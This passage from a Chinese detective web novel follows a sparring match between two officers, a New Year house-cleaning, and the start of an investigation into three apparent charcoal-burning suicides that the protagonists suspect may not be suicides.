没多久,温珣也出现在了人群中,身上的白大褂还没来得及脱下,像是担心晚到一秒就要错过这场好戏了。
祝好有些摸不着头脑,扯了扯他的袖子,问道:“温珣,你知道他们要干什么吗?”
温珣柔和地笑了笑,耐心解释道:“他们的意见有分歧,就用最原始的方式来争胜负。”
旁边有人应和:“听说他们在警校时就这样。”
祝好更是一头雾水:意见有分歧?案子都已经破了,还能有什么分歧?
周围爆发出一阵欢呼,祝好抽回神思,发现程述和秦聿风已经各自脱了外套,在众人围起来的那片空地上开始了热身。
温珣不知从哪儿搬来两张椅子,示意祝好坐下,还给她递了一杯用一次性纸杯装着的热咖啡。
若不是警局附近没有便利店,祝好甚至怀疑他恨不得再去买两包瓜子,才对得起今天要看的这场戏。
看祝好面露担忧,温珣递上一个安慰的眼神:“别担心,他们顶多就是随便比划比划。”
祝好点点头,捧着咖啡暖手,把目光转向空地上的两人。
短暂的试探后,秦聿风率先发难,一个箭步猛地上前,朝程述砸出几记凌厉的直拳,紧接着又是一个高抬腿侧踢。
程述抬手用前臂格挡住秦聿风的攻击,屈膝朝他的腹部顶去。秦聿风弓身用手臂护住自己的身体,顺势拦腰抱住他,头部顶住他的胸口,将他逼退了几步。
后撤的同时,程述调整身体重心,沉腰下胯,拽住秦聿风的手臂,腰部发力,身子往后一仰,竟将他整个人重重掼倒在地。
围观的人群中爆发出一阵惊呼,祝好头皮发麻,手心捏了一把汗:看他们这架势,何止是“比划比划”那么简单?
程述起身朝秦聿风伸出手,笑着问他:“认输了吗?”
秦聿风握住他的手,借力从地上站起来,扶着后背缓了片刻,松了松筋骨,继续摆出对阵的姿态,朝他一勾手:“谁认输了?这才刚开始呢,难不成你想跑了?”
两人对视一眼,都在彼此眼中看到了一丝强硬和冷厉,程述也敛起一脸的促狭的笑,抬手应道:“来。”
第166章
第二轮比试开始时,两人的态度都明显认真起来,偌大的空地上,气氛焦灼得如同紧绷的弓弦。
周围的人群也不自觉安静了些许,大家都屏息注视着空地中央对峙而立的两个人。
这回换程述先出手,他一记快如闪电的直拳携风砸向秦聿风的面门,秦聿风飞快后仰闪避,顺势攥住他的胳膊,瞅准时机来了个后肘击,程述同样反应迅速,抬起另一条手臂格挡。
拉开身距后,秦聿风调整姿势,腾空而起,一招高鞭腿扫向程述的头部。
程述偏头闪躲,但秦聿风的鞋面还是擦着他的脸颊而过,留下一道殷红的印子。
他后退几步,不满地啧了一声:“说好了不打脸。”
“对不住。”秦聿风简短有力地回了一句,然后朝他扬了扬下巴,示意他接着来。
程述也没纠结,随手往脸颊上被他踢到的地方一抹,继续应战。
他滑步上前,连续使出几记旋踢和侧踢,都被秦聿风灵活躲过,在他又一次抬腿横踢时,秦聿风一把抱住他凌空的右腿,同时将一只脚伸到他左脚后用力往回一勾,程述顷刻间失去重心,仰面朝天摔倒在地。
秦聿风俯身钳住他的下颌,露出一个少见的、带着挑衅的笑,学着他的样子问道:“老程,认输了吗?”
程述目光一凛,拍开他的手,一个鲤鱼打挺从地上跃起:“这才过了几招?继续。”
祝好:“……”
这两个家伙到底要打到什么程度才能分出胜负?
她转头向温珣投去探寻的目光,却见他满脸兴奋和期待,一副看热闹不嫌事大的样子,巴不得两个人打得再激烈一些。
祝好抿了口咖啡,心里叹息:男人果然都一样幼稚。
比试还在继续,空地上的两人如游龙般不停变换位置,拳脚纷飞,打得有来有回,围观的众人眼花缭乱,不时爆发出一阵阵起哄。
几轮比试过后,两人的体力和耐力都已经消耗了大半,却没人主动开口喊停。
没过多久,突然出现了转机,程述作势要挥出一记勾拳,秦聿风下意识地抬手防御,电光火石之间,程述却出其不意地改变了招式,身体下蹲,双手抱住秦聿风的双腿,猛地发力将其掀翻在地,来了一记凶狠的抱摔。
秦聿风没料到他会虚晃一招,猝不及防被重重地摔倒在地上,扬起一片迷眼的灰尘。秦聿风翻过身刚想起来,却被程述抢先一步用膝盖顶住脊背,胳膊也被反扣在身后。
手臂上传来的疼痛让秦聿风忍不住闷哼一声,挣扎了几下却被程述死死压制,无法动弹。片刻后,他终于拍了几下地面——这是认输的意思。
程述嘴角勾起一抹得意的弧度,这才松开手,顺势把秦聿风从地上拉起来。
围观的警察虽然没有明确表达立场,但明显是向着秦聿风的——毕竟怎么着也是队长,他们的胳膊肘还是得朝内拐嘛。
程述的险胜让许多人都心怀愤懑,悻悻地散去了,方才还热闹非凡的停车场逐渐安静下来。
接了个电话突然离开的温珣提着个袋子赶回来,最终还是没赶上最精彩的一幕,脸上写满失望:“这就结束了?我外卖才刚到呢。”
祝好:“……”
他居然还真的买了两包瓜子。
在看到程述和秦聿风除了身上满是灰尘,几乎没怎么挂彩之后,温珣脸上的失望更甚,摇头叹了口气,跟在人群后离开了。
秦聿风抻了抻胳膊,恼火地朝程述骂道:“你大爷的,真想把我胳膊掰断啊?”
“你不也踹了我好几脚吗?扯平了。”程述嬉皮笑脸地捏了捏他的肩膀:“怎么样,这回认输了吧。”
秦聿风心有不甘,却又无可奈何:“好好好,你赢了,行了吧?怎么样,有没有哪里疼,要不要跟我去医务室拿瓶药酒?”
程述浑不在意地一耸肩:“我有那么脆弱吗?你要是想再打一场我也能奉陪。”
秦聿风拍了拍身上的尘土,嗤笑了一声,拿起自己扔在车前盖的外套披上,刚要抬脚离开,又被程述叫住了。
程述抱着双臂,认认真真地对他说了句:“老秦,愿赌服输。”
秦聿风双唇紧抿成一条直线,半晌才潦草地点了下头,转身走了。
回到家里,程述换掉一身满是尘土的衣服,先进了洗手间。
片刻后,里面传来哗啦啦的水声。
祝好坐在沙发上给白眼狼梳毛,白眼狼闭着眼享受,喉咙里发出咕噜声。
之前第一次听到它发出这种声音,祝好还以为它是生病了,着急忙慌地带着它跑到楼下宠物店,被那个长得像弥勒佛的医生一顿科普,才知道这是猫觉得舒服的表现。
不知不觉间,梳下来的毛都积攒了一大坨,祝好才忽然发觉洗手间的水声已经停了好一阵了,程述还没从里面出来。
她犹豫了一下,放下梳子,走到洗手间门口敲了敲门:“老大,你还好吗?”
“我没事。”
程述打开洗手间的门,穿着宽松的长袖T恤和运动裤、裹着一身热腾腾的水汽从洗手间里出来,往沙发上一趴,抱着抱枕哼唧了一声:“……祝好,要不今晚我们点外卖吧。”
这话怎么没头没尾、莫名巧妙的。
祝好问:“你怎么了?”
他闷闷地回答:“没怎么,就是……我今晚不想做饭了。”
“不是说了我做也行……”话说到一半,祝好觉得有哪里不对劲,话锋一转,问道:“你是不是哪里受伤了?”
刚才跟秦聿风的比试不是闹着玩的,几乎拳拳到肉,就算表面上看着没什么明显的伤痕,但轻微的软组织挫伤肯定是少不了。
程述嘴硬:“没有。”
祝好没说话,伸出一只手指往他肩胛处轻轻戳了一下,他的脊背立刻绷紧,嘶地吸了口凉气。
果然。
祝好扶额:“上回那瓶药酒放哪儿了?我帮你涂上。”
“……在我房间床头柜。”
“那你趴着吧,我去给你拿。”
顿了顿,祝好又问:“你房间里没什么见不得人的东西吧?”
程述摇头。
祝好这才起身拧开他房间的门把手,径直走向床头柜,拉开抽屉一看,除了药酒之外,那副毛绒绒的粉红色手铐依旧静静地躺在里面,也不知道他为什么还要留着这玩意儿。
拿上药酒回到客厅,祝好小心翼翼地把程述身上的T恤下摆往上卷,才发现他背上、肋部青一块紫一块的地方不少。
她拧开瓶盖,用棉签蘸了些药酒涂了一小块,奈何棉签涂抹的范围实在太小、淤青的面积又太大,索性把药酒倒到掌心里搓热,再轻轻摁压到他背上的青紫处。
温热的手心触碰到皮肤的瞬间,程述浑身的肌肉肉眼可见地僵硬了一瞬,他把脸埋在抱枕里一言不发,过了好半天才慢慢放松。
祝好忍不住嘟囔:“秦聿风下手也太狠了,你肋骨的伤才好了没几个月,万一再断了怎么办?”
程述不乐意地反驳:“这算什么,他身上的伤
肯定比我严重多了,而且还没人给他涂药……嘶,轻点儿。”
祝好无奈地放轻手上的动作,问道:“你们到底为什么打架?”
“男人打架还需要什么理由?想打就打呗。”
祝好想起温珣说过,每次他们的意见出现分歧、没办法分出胜负时就会这样,于是又问:“你们是不是意见出现什么分歧了?”
程述答得含混:“没什么。再说了,这也不叫打架,这是我们交流的方式。”
祝好忍不住吐槽了一句“幼稚”,问他:“除了后背,还有哪里疼?”
程述艰难地在沙发上翻了个身,指了指胸膛和肩膀上的几块淤青,又补充了一句:“还有大腿。”
祝好愣了一下,把药酒搁在茶几上:“这些地方你自己够得着就自己涂吧。”
程述没什么意见,坐起身来直接把上衣脱了,拿起药酒就往身上倒,随意抹了抹,看似不经意地问了句:“对了,老秦那房子你什么时候去看?”
祝好白他一眼:“怎么,我刚帮你涂完药,你就想把我赶出去啊?”
程述的语气漫不经心:“我这不是担心那么好的房子被人抢先一步嘛?”
说得有道理,祝好进洗手间把手上的药酒洗掉,拿起手机给秦聿风打了个电话。手上还沾着水,她把电话放在茶几上,摁开免提。
案子告一段落,秦聿风也没有前段时间那么忙碌了,电话很快接通。
“喂,祝好。”
祝好:“秦聿风,你这几天有时间吗?上回你说的那个房子,我想去看看。”
“我……”
电话那头的秦聿风话刚起了个头,一旁的程述忽然提高音调,突兀地干咳了一声,像是在提醒着什么事。
秦聿风话音一顿,干笑道:“那个……不好意思啊,祝好,这几天我太忙了,没来得及跟我姑妈打招呼,刚才才知道那套房子已经租出去了。”
还真的被程述给说中了,这个乌鸦嘴!
祝好感觉自己错过了一个亿,不满地转动眼珠子斜了程述一眼,他嘴里哼着小曲儿,若无其事地往手臂上涂抹药酒,对她的目光视而不见。
不过仔细想想,这也是没办法的事,毕竟秦聿风这几天真的很忙,而且那套房子性价比那么高,肯定一大堆人抢着要呢,租出去了也不奇怪。
祝好说:“没关系,租出去了就算了,麻烦你了。”
想了想,又问:“对了,你今天没受伤吧?”
秦聿风短促地笑了一下:“我吗?我还好,歇两天就没事了。老程呢,他怎么样了?”
“老大他……”
她刚要如实相告,手机忽然被程述一把夺了过去:“不劳秦队费心,我一点儿事都没有,跑个十公里再加套军体拳也没问题。你就好好养伤吧,拜拜。”
说完挂断了电话,把手机还给祝好。
祝好嫌弃地拎着沾满药酒的手机,心里无语,这家伙嘴怎么那么硬呢。
*
接下来的大概一个多星期时间,即没有新的案子发生,侦探社也没有接到什么委托。
这天早上起来,窗外又开始飘起了雪,棉絮般从阴沉的天空中纷纷扬扬落下,将整个城市都装点成一片苍茫的素白色。
祝好一时有些恍惚,刚来到这个游戏的时候还是骄阳似火的炎炎夏日,一转眼,漫天就飘起了雪花。
再过不久,春天就要来了吧。
这段时间的日子虽然过得平静,她却无端觉得有些不安,总觉得这安静祥和的背后,有一场狂风暴雨正在酝酿之中,并且会在不久后的某一时刻,猝不及防地从虚空中当头落下。
她看着窗外的落雪发了会儿呆,穿上外套,趿着棉拖鞋从阁楼下来时,程述刚好穿着一身运动服从门外进来,肩膀和头发上落了一层毛茸茸的雪花。
连续涂了几天药酒,他身上的伤已经好得差不多了,又恢复了晨跑的习惯。
祝好洗漱完,坐在餐桌旁打开他买回来的早餐,发现白白胖胖的包子上有个用可食用色素印着的“福”字,小小的,很是可爱。
她把包子捧在手心看了会儿,感慨了一句:“现在的商家还挺用心。”
又突然想到什么,转头问换好衣服从房间里出来的程述:“老大,是不是快过年了?”
这儿的节日基本跟现实差不多,时间久了,祝好都快要分不清到底哪边是现实,哪边是游戏了。
程述也在餐桌旁坐下,只是淡淡地嗯了一声:“快了。”
祝好又问:“去年春节你是怎么过的?”
程述咬了口包子,含糊不清回答:“记不太清楚了,不过应该是喝了点啤酒在沙发上睡着了吧。”
想来也是,他没有其他家人,也没什么仪式感,“过年”对他来说似乎并不是什么值得期待的事情。
虽然祝好也一个人过了好几年春节,但还是会按照惯例买套新衣服,给自己煮顿饺子,躺在沙发上看会儿春晚。
这是她第一次在游戏里过年,该有的仪式感还是要有。
更何况,家里有程述,还有白眼狼,今年她也用不着一个人过了。
她把包子塞进嘴里,兴致勃勃地提出建议:“老大,正好今天没什么事,要不我们来个大扫除吧,晚点还可以出门去采购!”
既然短时间内也没法搬家了,那就好好打扫一番;江绮给的那笔定金还一分钱没花呢,正好可以用来添置一些新衣服和年货。
程述的动作停滞了一下,抬眼看着她兴义盎然的模样,不甚明显地笑了笑,说:“好。”
第167章
说干就干,吃完早餐,祝好开始分配任务。
首先两个人各自负责自己的房间,等整理完毕后,再一起把客厅、厨房和卫生间打扫一遍。
程述没什么异议,不过他房间里东西少,收拾起来也快,祝好正坐在床上整理衣柜里的衣服,就听到了他走上阁楼的脚步声。
他站定在门帘前,敲了敲门框:“祝好,我能进去吗?”
直到祝好说了句“可以”,他才掀开门帘走进来,手里还抱着个大箱子。
祝好问:“怎么了?”
程述蹲在书架前,拿起一本厚重的书朝她扬了一下:“我打算把这些书和书架都搬到我房间里,不然找起资料来太麻烦了。”
祝好皱了下眉:“搬到你房间去……那我要看书怎么办?”
书架上的书大多是一些专业书籍,比如什么《理论犯罪学》《犯罪人论》《论犯罪与刑罚》之类,里面的文词大多十分深奥且艰涩难懂,但耐心读下来,总能学到不少东西。
程述不以为意:“进我房间拿不就行了。”
祝好一愣:“这不太好吧。”
他把不知什么时候悄悄跟了上来、趁机钻进箱子里的白眼狼拎出来,将书架上的书一本一本摞好放进去,漫不经心道:“没什么不好的,以
后我不在房间的时候你可以随便进去,不用先问我。”
两个书架被搬走之后,原本逼仄的阁楼瞬间余出了不少空位。
用扫帚把地上的灰尘扫干净后,他环视了阁楼一圈,问祝好:“这沙发床你睡得舒服吗?要不去买一张正儿八经的床吧。”
没等祝好回答,他又自顾自说:“这个衣柜都快散架了,要不也换一个?还有床头柜、书桌,把书架搬走之后,这些都能放得下。”
祝好把叠好的衣服、包括那件花巨额积分换回来的礼服放进摇摇欲坠的衣柜里,摆了摆手:“不用了,这要花好多钱,你还是攒着当老婆本吧。”
这些家具对她来说不是必需品,她也没打算一辈子都住在阁楼里,不需要浪费钱来添置那么多。
程述张了张嘴,似乎想说什么,但话到嘴边还是咽了回去,搬着装满书的箱子下楼去了。
整理完各自的房间,接下来就是公用的区域。
程述常年运动,干起活来风驰电掣,包揽了所有需要爬上爬下的脏活累活,包括擦窗、清洗洗手间和厨房,祝好只能做一些辅助类的工作,譬如收纳整理、清理家具上的浮尘和猫毛等,而白眼狼则肩负起了制造麻烦的重担,不是弄翻水桶就是追着拖把乱跑,最后程述忍无可忍,一把将他抱起,扔进自己房间去锁着了。
打扫完客厅、厨房和洗手间,已经过去两三个小时,整个家焕然一新,看着整洁不少,唯独剩下那个装满跟指甲油杀手有关的资料的房间还没收拾。
祝好站在门口,犹豫片刻,转头问程述:“老大,这个房间……要打扫吗?”
程述拖地的动作顿了一下,随口答道:“你随便收拾一下吧。”
上一次进这个房间还是半年多前,推开门时带起一阵风,沉积的粉尘和纸张发潮的味道一同扑面而来,祝好忍不住打了个喷嚏。
程述放下拖把,一言不发从抽屉里找了个口罩递给她。
走进房间里,祝好用鸡毛掸子小心翼翼拂去那些资料表面的灰尘,视线在墙上贴着的那些照片之间逡巡,照片上一张张年轻的面孔仿佛隔着时光与她相望。
五年前——准确地说,是五年半以前,臭名昭著的指甲油杀手在连续杀害九名女性后,就如同人间蒸发一般,再也没有出现过。
程述的声音忽然从身后传来:“也许这一房间的资料根本没用,我甚至觉得,他永远都不会再出现了。”
祝好顺着他的话音回过头,他喉结轻滚,漆黑的双眸中翻涌着晦暗的情绪。
对于指甲油杀手来说,这些受害者是功勋,是战利品,是炫耀的资本;对与此无关紧要的人来说,她们只是一个名字,是光怪陆离的传言,是饭后茶余的谈资,随着时间流逝很快就会被遗忘……
可程述是当年负责办案的警察,这些受害者是压在肩头沉重的责任,日日夜夜在梦中向他讨要真相。
同时他又是受害者家属,程霜的死对他来说是扎在心头的一根刺,永远无法从生命中剥离。
半年前许安宁为了将指甲油杀手引出来,模仿他的作案手法杀害了唐芸。
按照程述对指甲油杀手的侧写,他性格骄傲自大,决不允许自己的名声被人夺走,一定会再度犯案、以证明自己。
然而时至今日,他依旧没有现身。
祝好摇摇头:“他还会出现的。”
穿进游戏里那么久,她已经摸清了剧情任务的规律,既然这个游戏是以指甲油杀手的案子作为开场,那么一定也会以这个案子结束。
只是她也不知道,指甲油杀手究竟什么时候会重新出现,又会以一种怎么样的方式出现。
大扫除终于结束时已经到了傍晚,祝好筋疲力尽,拖着疲惫的身体躺在沙发上,看着天花板上那盏被程述擦得锃亮的吊灯发呆:“老大,我们还是改天再去采购吧。”
程述把嗷嗷抗议的白眼狼从房间里放出来,笑道:“才干了这么点儿活就累了,要不以后每天早上起来跟我去跑步吧。”
祝好想也不想就拒绝:“还是不了,那么冷的天,我宁愿在被窝里冬眠。”
大扫除消耗了许多体力,中午吃进去的那碗面早就消化了,祝好的肚子咕咕叫唤起来。她转头问正在给白眼狼开罐头的程述:“老大,我们今晚吃什么?”
程述抬眼看了下墙上的挂钟,这个点再去买菜做饭,等能吃上时都要八九点了,于是起身从衣帽架上取下外套扔给她:“换身衣服,去外面吃。”
楼下正好有一家新开的手工披萨店,祝好本来想用从系统商城兑换的钱请程述吃一顿,没想到刚走到门口,程述的手机就响了。
在他把手机从兜里拿出来时,祝好瞥到屏幕上的来电显示,是秦聿风。
这个点突然打电话来,是又有新的案子发生了吗?
程述接起电话,听了几句后,嗯了一声,把电话挂断了,转头对祝好道:“有案子,老秦要我们马上过去。”
祝好哀叹一声:怎么早不来,晚不来,偏偏在她饿着肚子的时候来。
秦聿风发来的地址是个商品房小区,单元楼下有警员正在给小区居民做笔录,他认出程述和祝好,往上指了指说:“十一楼1104,秦队已经在上面了。”
程述点点头,走进电梯里,摁下十一楼的按键。
1104的门口已经拉起了警戒线,祝好换上鞋套,跟在程述身后走进屋里,立刻闻见空气中飘散着淡淡的煤炭味儿。
这套房子是常见的三室两厅的户型,祝好一进门就被墙上一张黑白遗照吸引了注意力,照片上是个年轻男人,看样子还不到三十岁。
秦聿风听到声响,从其中一个房间探出头来,朝他们招了招手:“这儿。”
程述应了一声,往房间走去。
房间里收拾得很干净,也没有打斗痕迹。床尾处放着一个铁盆,盆中有燃尽的木炭留下的灰烬,窗户被推开,呼呼的冷风正往里灌,吹得边上的黄色胶带哗啦啦作响。
死者是个二十多岁的年轻女性,身上穿着睡衣,面容安详地倚在床头,一封手写的遗书就放在旁边的床头柜上。
秦聿风向他们介绍情况:“报案的是死者的母亲,她今天一整天都没联系上死者,所以才过来看看。”
按照死者母亲的描述,她进门之后就听到八个月大的孙女在房门紧闭的婴儿房里哇哇大哭,女儿却不见踪影。
安抚完孙女后,她推开隔壁的房门,才发现屋内煤炭的气味很重,死者躺在床上已经不省人事了,赶紧开窗通风并拨打了120。救护车赶到以后,发现死者已经没有了生命体征,这才通知了警方。
程述拿起遗书,祝好也凑过去扫了一眼,上面的内容大致是表达自己内心的痛苦,以及对丈夫的思念。
祝好想到刚进屋时看到的那张遗照,好奇道:“她丈夫怎么了?”
秦聿风回答:“三个月前因为车祸去世了。”
床头除了那封遗书之外,还摆放着几张全家福,上面的一家三口看着很是幸福。
此时正值晚高峰期,温珣和法医助理被堵在了路上,还没有赶到。程述粗略检查了一下尸体,得出结论:“尸体已经开始僵硬了,尸斑按压后会消失,死亡时间应该在四到五小时之前。尸斑呈鲜红色,符合一氧化碳中毒的特征。”
烧炭会产生大量的一氧化碳,而一氧化碳极易与血红蛋白结合,形成碳氧血红蛋白,使死者的血液和尸斑呈现出鲜红色。
秦聿风点头:“死者的母亲说她刚进房间时,发现窗户的缝隙被胶带贴住了,而且在丈夫去世后,死者也表现出消极的情绪,我们初步断定应该是自杀。”
挚爱的丈夫刚刚离世,留下她和几个月大的孩子,经历丧夫之痛的死者受不了这样的打击而选择自我了解——虽然令人唏嘘,但似乎并没什么
值得怀疑的地方。
程述皱了皱眉:“既然是自杀,还找我来干什么?”
秦聿风叹了口气,解释道:“这已经是这个月以来,第三起烧炭自杀的案子了。”
第一起自杀案发生在一个月之前,死者是一名不久前因为意外而失去双腿的年轻男人。
第二起自杀案则是半个月前,死者是个五十多岁的妇女。在去世的前几个月,她因为喂半岁大的孙子吃果冻,导致孙子窒息而死,为此一直感到十分愧疚。
同今天这起案子一样,这两名死者都是在自己家中通过烧炭的方式自我了结,家中没有打斗痕迹,死者身上也没有反抗留下的伤痕,并且都留下了遗书,所以警方在勘查过现场之后,都被断定他们是自杀。
虽然他们的自我了结都有看似合理的原因,但短短一个月内连续发生三起类似的自杀案,的确很不寻常。
祝好又在房子里转悠了一圈,温珣和法医助理这时才提着勘查箱匆匆赶来。
在对尸体进行了初步检测后,他也证实了程述的看法:“从尸斑上看,的确符合一氧化碳中毒的特征,不过尸斑的颜色并不能作为鉴定死因的唯一依据,还需要把尸体带回去检测她血液里的血红蛋白浓度。”
第168章
祝好问现场的警员要来了死者的资料,得知死者名叫方晴,26岁,是一名家庭主妇。
方晴跟她的丈夫是高中同学,一同考上了心仪的大学才开始恋爱,毕业后两人步入婚姻殿堂,并生下了女儿。
根据方晴的母亲所描述,女儿和女婿十分恩爱,三个月前女婿不幸因车祸去世后,女儿的意志一直很消沉,每日以泪洗面,直到最近才逐渐有了笑容。
本以为女儿会慢慢走出阴霾,没想到她却突然以这样的方式告别了人世。
程述在房间里找到了一本成长日记,里面用照片和文字记录了宝宝从出生到现在的点点滴滴,简单与遗书进行过比对后,基本能确认上面的笔迹属于同一个人。
有警员过来向秦聿风汇报:“秦队,婴儿房里发现一个监控,应该是用来观察宝宝的情况的。”
秦聿风点点头:“把里面的内容拷贝出来看看。”
又转头问程述:“老程,有什么发现吗?”
程述少见地犹豫了一下,摇了摇头表示自己也不太确定。
虽然短时间内连续发生三起类似的自杀案实在可疑,但经过现场勘查,方晴家里门窗完整,屋内无打斗痕迹,死者死因明确,现场又留有遗书,的确怎么看都像是自杀。
过了一会儿,他才开口:“先看看婴儿房里的监控有没有异常,小区里的监控也一起拷贝出来,我去跟方晴的母亲聊聊。”
方晴的母亲和宝宝都被暂时安排在物业办公室休息,她的母亲五十岁出头,眼眶泛红,看起来刚刚哭过。宝宝正躺在她怀里,睡得十分安稳。
祝好走上前,颔首跟她打了个招呼:“您好,我们是警局的工作人员,想再跟您聊一聊。”
方母木然地点点头,把怀里的宝宝交给一直陪着她的女警员。
面对那双哭得红肿的眼睛,祝好只觉如鲠在喉,一时说不出话来,最后是程述率先开口问道:“听说您女婿薛晓飞是车祸去世的。”
方母深深吸了一口气,缓了缓,才说:晓飞当时只是正常在路上走着,有一辆小轿车突然失控撞了过来,他当场就……”
“出事之后,方晴的情绪怎么样?”
“时好时坏。她和晓飞高中就在一起了,当时我还担心她早恋会影响学习成绩,但他们很争气,不仅考上了同一所大学,结婚后感情也一直很好。晓飞去世对她的影响很大。”
祝好问:“她最近有没有表现出自杀的倾向?”
复杂的情绪交织着,方母浑身微微颤抖,她把脸埋在掌心里缓了缓,半晌才说:“这段时间对她来说真的很艰难,晓飞走得太突然,她一定也很难接受这个打击……但是她从没有说过想要去死,反而说会为了茵茵坚持下去。”
茵茵就是方晴的女儿,她只有八个月大,此时正躺在女警员的怀里熟睡。
她的年纪还太小,并不知道死亡意味着什么,更无法理解悲伤的含义。
程述问:“方晴近期跟人有过矛盾吗?”
方母摇摇头:“应该没有,小晴性格温和,很少与人结怨。”
“她住的那套房子,除了你和她之外,还有其他人有钥匙吗?”
“没有了,只有我们俩。”
“行,我知道了。”程述起身微微颔首,示意谈话结束,顿了一下,朝她说了句:“阿姨,节哀顺变。”
祝好有些讶异:面对死者家属时,程述永远是一副公事公办的态度,只当对方是个陌生人、或是案件中的某个环节,向来不会投入太多的感情和心力。
此时此刻,“节哀顺变”这四个字从他嘴里说出来,却不像是单纯的客套话,而是某种感同身受的安慰。
现场勘查很快结束——毕竟现场确实也没找到太多有用的线索,方晴的尸体也被带回警局,等待进一步的尸检。
从方晴家的小区离开时,已经接近凌晨了。
秦聿风和警员们还要赶回局里连夜对小区的监控录像进行排查,他在小区门口的空旷处点了根烟,摆摆手让程述先回去休息。
程述本就是编外人员,自然不用跟着他们熬夜,他连象征性的推脱都没有,毫不客气地拉着祝好回到车里。
鹅毛大雪在寒风中纷飞不停,被框在车窗里的城市依旧灯火阑珊。
祝好出神地看着不断从眼前闪过的霓虹灯,问道:“老大,你觉得方晴是自杀吗?”
程述面无表情地反问:“你觉得呢?”
祝好说:“我觉得她不会自杀。”
她用的词是“不会”。
城市的灯光倒映在程述眼底,映得他双眸忽明忽暗,像是黑暗中不断被风拖曳的烛火。
过了许久,他才沉声说:“失去亲人确实是一件很难释怀的事情。或许对方晴来说,自杀更像是一种解脱。”
祝好明白他的意思——失去亲人固然是痛苦的,不论是她还是程述,都有过同样的体会,也能理解方晴的感受。
每个人应对悲伤的方式不同,不论平时多冷静客观、条分缕析的人,在面对沉重的打击时,也会出现不理智的想法和行为。
可是刚才在方晴家里,祝好进过隔壁的婴儿房。
那里被布置得很温馨,小小的婴儿床上堆满各式各样的玩具,成长日记上也详细记录了宝宝成长过程中的每一件小事。
方晴的母亲也说了,虽然丈夫的死让方晴痛苦万分,可她从没表现出自杀倾向,反而还说会为了宝宝变得坚强。
这样一位称职的年轻妈妈,真的会把嗷嗷待哺的孩子扔在隔壁房间,独自走上不归路吗?
*
警局会议室里充斥着劣质咖啡和香烟味——熬了一整个大夜,警员们疲惫不堪,只能靠咖啡因和尼古丁来帮助自己提神。
“方晴,女,26岁。昨天晚上被她的母亲发现在家中烧炭自尽,死亡时间大约是下午的四点到五点。我们对方晴所居住那个单元的电梯监控进行了排查,没有发现可疑人员。”
祝好很快捕捉到重点,举手问道:“只有电梯有监控吗?”
负责案情讲解的警员点点头:“对,大厅的监控坏了,还没来得及修,走廊里也没有监控。”
这么说来,如果有人走楼梯的话,就不会被监控拍下身影。
不过祝好没有马上提出疑问,而是听他们继续讲下去。
警员接着道:“方晴的丈夫在三个月前遭遇车祸身亡,她这段时间情绪一直不太稳定。经过辨认,遗书确实为方晴亲手所写。结合遗书的内容,我们初步断定她是自杀。”
会议室的门被
敲响,进来的是温珣的助手:“秦队,昨晚那名死者的尸检结果出来了,温主任让我来告诉您。”
秦聿风点点头,招呼他进来。
法医助理把一份报告放在桌上:“死者身上无明显外伤,我们对她进行了动脉穿刺,检测到她血液里的碳氧血红蛋白已经远远超过了正常值,能确定她死于一氧化碳中毒。”
“又是自杀。”秦聿风叹了口气,捏紧自己的眉心:“但是一个月之内连续三个人烧炭自杀,是不是太巧合了?”
他像是自言自语,又像是在发问,会议室里的警员们面面相觑,无人应答。
一直一言不发的程述突然开口问:“婴儿房里的监控有没有拍到什么?”
“没什么特别的。”秦聿风答,但还是示意警员在大屏幕上把监控拍到的内容放出来。
监控回放显示,昨天下午大约三点钟,方晴把宝宝哄睡之后,用床头的小音箱放起了摇篮曲,随后就关上门离开了。
孩子于四点十分左右醒来,自己玩了一阵后,开始嚎啕大哭,但方晴并没有及时进去安抚,结合温珣对死亡时间的推断,她当时很有可能已经陷入昏迷甚至是死亡了。
小音箱离监控太近,摇篮曲掩盖了门外其他声音,因此没有人知道在这段时间里究竟发生了什么。直到晚上八点半方晴的母亲前去探望,才再次打开了婴儿房的门。
不过至少从这段视频上,并没有发现什么异常。
“方晴母亲的行踪调查过了吗?”
“查了,她昨天去走亲戚了,一直呆在亲戚家里,方晴死亡的时间她有不在场证明。”
程述沉吟片刻,又问:“之前那两起自杀案的死者呢?有他们的资料吗?”
秦聿风点点头,示意警员去把资料找来。
第一位烧炭自杀的死者名叫刘玉珍,57岁。孙子出生后,她就搬到儿子家居住,顺便照顾孙子。
几个月前的某一天,孙子闹着要吃果冻,她就随手喂了一个,没想到果冻卡在了孙子的气管中。虽然她当时及时采取了海姆立克急救法并及时拨打了120,但由于窒息时间太长,孙子最后还是无力回天。
为此刘玉珍感到十分愧疚和自责,不久后就从儿子家搬了出来,回到了自己的老房子独自居住,于一个月前被人发现死在房间里,床尾同样有一盆燃尽的煤炭,床头也有她亲手写下的遗书。
孙子出事之后,儿子一直无法原谅母亲,所以在刘玉珍死后并没有进行解剖,只是草草举办了葬礼,将她的尸体火化了。
第二名烧炭自杀的是个24岁的年轻男人,名叫柯盛,不久前因为一场车祸失去了双腿。他本是一名登山爱好者,热外户外运动,自从失去双腿后就只能呆在家里,身体和精神上的双重痛苦可想而知。
半个月前的一天早晨,他们的父母前去探望他,却发现他在自己的房间里烧炭自杀,床边也留着他手写的遗书。
不过柯盛的父母一直不相信自己的儿子会自杀,因此并没有将他火化,而是把尸体存放在殡仪馆里。
那两封遗书经过对比,都确认与两名死者的笔迹一致。也就是说,遗书都是他们亲笔写下的。
程述闻言双眉拧紧,许久一言不发,不知在想什么。
熬夜排查监控的警员们开始躁动起来,一个接一个打起了哈欠,秦聿风也伸了个懒腰,问道:“老程,你还有什么要补充的吗?没有的话,就以自杀结案了。”
程述没答话,而是把问题抛给了祝好:“祝好,你说呢?”
祝好捻着下巴思索了一会儿,问道:“能不能把刚才那段婴儿房的监控再放一次?”
警员因为过度疲劳而有些不耐烦:“不是都已经看过了吗?从方晴离开到她母亲进来,中间根本没人出现过……”
秦聿风打断他的话:“再放一次。”
“秦队……”
秦聿风皱着眉啧了一声:“让你放你就放。”
第169章
警员不加掩饰地叹了口气,打开大屏幕,把那段监控重新放了一遍。
祝好全神贯注地注视着屏幕,尽量不错过视频里的任何一个细节。
婴儿房里的监控摄像头一般是为了方便家长第一时间观测孩子的动态,所以正对的都是婴儿床。
不过祝好并没有把注意力放在孩子身上,而是紧盯着画面角落里恰好拍到的婴儿房的门口。
视频播放到一半,她突然出声:“等等,在这儿停一下。”
警员不情不愿地摁下暂停键,会议室里所有人不约而同看向屏幕,却没发现什么异常。
秦聿风问:“祝好,怎么了吗?”
祝好没回答,而是走到屏幕前,在婴儿房门下面的缝隙处比划了个圈:“能不能再退回去半分钟,放大这一块?”
